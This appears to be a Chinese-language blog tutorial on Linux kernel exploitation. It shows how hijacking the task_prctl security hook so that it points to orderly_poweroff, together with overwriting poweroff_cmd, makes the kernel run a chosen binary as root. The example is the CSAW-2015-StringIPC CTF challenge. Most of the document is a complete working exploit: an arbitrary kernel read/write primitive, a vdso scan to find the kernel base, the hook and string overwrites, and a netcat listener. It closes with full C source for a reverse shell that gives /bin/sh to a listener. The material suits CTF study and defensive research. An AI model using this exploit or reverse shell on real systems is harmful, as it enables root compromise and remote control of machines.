linux kernel pwn學習之hijack prctl

Hijack prctl

Prctl是linux的一個函數，可以對進程、線程做一些設置，prctl內部通過虛表來調用對應的功能，如果我們劫持prctl的虛表，使它指向其他對我們有幫助的內核函數，比如call_usermodehelper函數，該函數執行一個用戶傳入的二進制文件，且以root權限執行，由此可以利用起來提權。

我們分析一下prctl源碼，在linux/kernel/sys.c裏，我們看到這

我們繼續跟進，查看security_task_prctl函數，在linux/security/security.c文件裏找到

函數調用了task_prctl表裏的函數，因此，如果我們劫持task_prctl表，就能通過執行prctl來執行我們想要的函數，比如call_usermodehelper函數。爲了確定我們該劫持的表的地址，我們先寫一個小demo.c

1. #include <sys/prctl.h>  
2.   
3. int main() {  
4.    prctl(0,0);  
5. }  

然後，編譯，放到系統裏，我們先查看一下security_task_prctl函數的地址

接下來，我們用gdb在這裏斷點，然後運行我們的demo程序

成功斷點

繼續單步運行，到這裏

從而，我們確定了task_prctl表的地址，減去內核基地址，我們就能確定task_prctl的偏移了。在這裏，我們得到的是偏移是0xeb8118。

有一點不幸的是, 傳入security_task_prctl函數的第一個參數被截斷了，這意味着，如果我們把task_prctl劫持爲call_usermodehelper，在64位下不能完成利用。

因爲call_usermodehelper函數的第一個參數是一個字符串地址

爲了解決這個問題，我們可以借鑑一下glibc下劫持爲one_gadget的思想，我們來搜索一下有沒有類似的one_gadget可以使用。我們在內核源碼裏搜索哪些函數調用了call_usermodehelper函數。

我們發現mce_do_trigger函數可以用，它調用call_usermodehelper函數的前兩個參數來自全局數據段，或許可以被我們劫持修改

我們有找到幾個合適的

其中run_cmd調用了call_usermodehelper函數。由此，我們只需要把prctl_task劫持到這幾個函數，比如__orderly_poweroff，然後篡改poweroff_cmd爲我們需要執行的二進制文件路徑。接着調用prctl，就會以root權限執行我們的二進制文件，從而提權。我們可以執行一個反彈shell的程序，然後用nc來連接。

爲了實現上述目標，我們首先需要得到內核基址，之前，我在https://blog.csdn.net/seaaseesa/article/details/104694219這篇博客裏講到了劫持vdso，我們同樣需要利用一下，我們計算出了vdso的地址後，就能算出內核的基址，因爲它們之間的差值是不變的。

我們以CSAW-2015-StringIPC爲例，它的exploit.c如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8
//poweroff字符串的偏移
#define POWEROFF_CMD 0xE4DFA0
//orderly_poweroff函數的偏移
#define ORDERLY_POWEROFF 0x9c950
//task_prctl的偏移
#define TASK_PRCTL 0xeb8118;

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//驅動的文件描述符
int fd;
//初始化驅動
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//申請一個channel,返回id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//改變channel的大小
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//讀取數據
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//寫數據
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址讀
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//任意地址寫
//由於題目中使用了strncpy_from_user,遇到0就會截斷，因此，我們逐字節寫入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
//獲取vdso裏的字符串"gettimeofday"相對vdso.so的偏移
int get_gettimeofday_str_offset() {
   //獲取當前程序的vdso.so加載地址0x7ffxxxxxxxx
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
   char* name = "gettimeofday";
   if (!vdso_addr) {
      errExit("[-]error get name's offset");
   }
   //僅需要搜索1頁大小即可，因爲vdso映射就一頁0x1000
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
   if (name_addr < 0) {
      errExit("[-]error get name's offset");
   }
   return name_addr - vdso_addr;
}

int main() {
   char *buf = (char *)calloc(1,0x1000);
   initFD();
   //申請一個channel，大小0x100
   int id = alloc_channel(0x100);
   //改變channel大小，形成漏洞,實現任意地址讀寫
   shrink_channel(id,0x101);
   //獲取gettimeofday字符串在vdso.so裏的偏移
   int gettimeofday_str_offset = get_gettimeofday_str_offset();
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
   size_t vdso_addr = -1;
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
      //讀取一頁數據
      arbitrary_read(id,buf,addr,0x1000);
      //如果在對應的偏移處，正好是這個字符串，那麼我們就能確定當前就是vdso的地址
      //之所以能確定，是因爲我們每次讀取了0x1000字節數據，也就是1頁，而vdso的映射也只是1頁
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
         printf("[+]find vdso.so!!\n");
         vdso_addr = addr;
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
         break;
      }
   }
   if (vdso_addr == -1) {
      errExit("[-]can't find vdso.so!!");
   }
   //計算出kernel基地址
   size_t kernel_base = vdso_addr & 0xffffffffff000000;
   printf("[+]kernel_base=0x%lx\n",kernel_base);
   size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
   printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
   size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
   printf("[+]poweroff_cmd_addr=0x%lx\n",orderly_poweroff_addr);
   size_t task_prctl_addr = kernel_base + TASK_PRCTL;
   printf("[+]task_prctl_addr=0x%lx\n",task_prctl_addr);
   //反彈shell，執行的二進制文件，由call_usermodehelper來執行，自帶root
   char reverse_command[] = "/reverse_shell";
   //修改poweroff_cmd_addr處的字符串爲我們需要執行的二進制文件的路徑
   arbitrary_write(id,reverse_command,poweroff_cmd_addr,strlen(reverse_command));
   //hijack prctl，使得task_prctl指向orderly_poweroff函數
   arbitrary_write(id,&orderly_poweroff_addr,task_prctl_addr,8);
   if (fork() == 0) { //fork一個子進程，來觸發shell的反彈
      prctl(0,0);
      exit(-1);
   } else {
      printf("[+]open a shell\n");
      system("nc -lvnp 7777");
   }

   return 0;
}

而qwb2018-solid_core同樣，也是這個解法，稍作一下修改即可。反彈shell的程序如下

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h> 
#include <unistd.h>

char server_ip[]="127.0.0.1";
uint32_t server_port=7777;

int main() 
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    system("/bin/sh");
}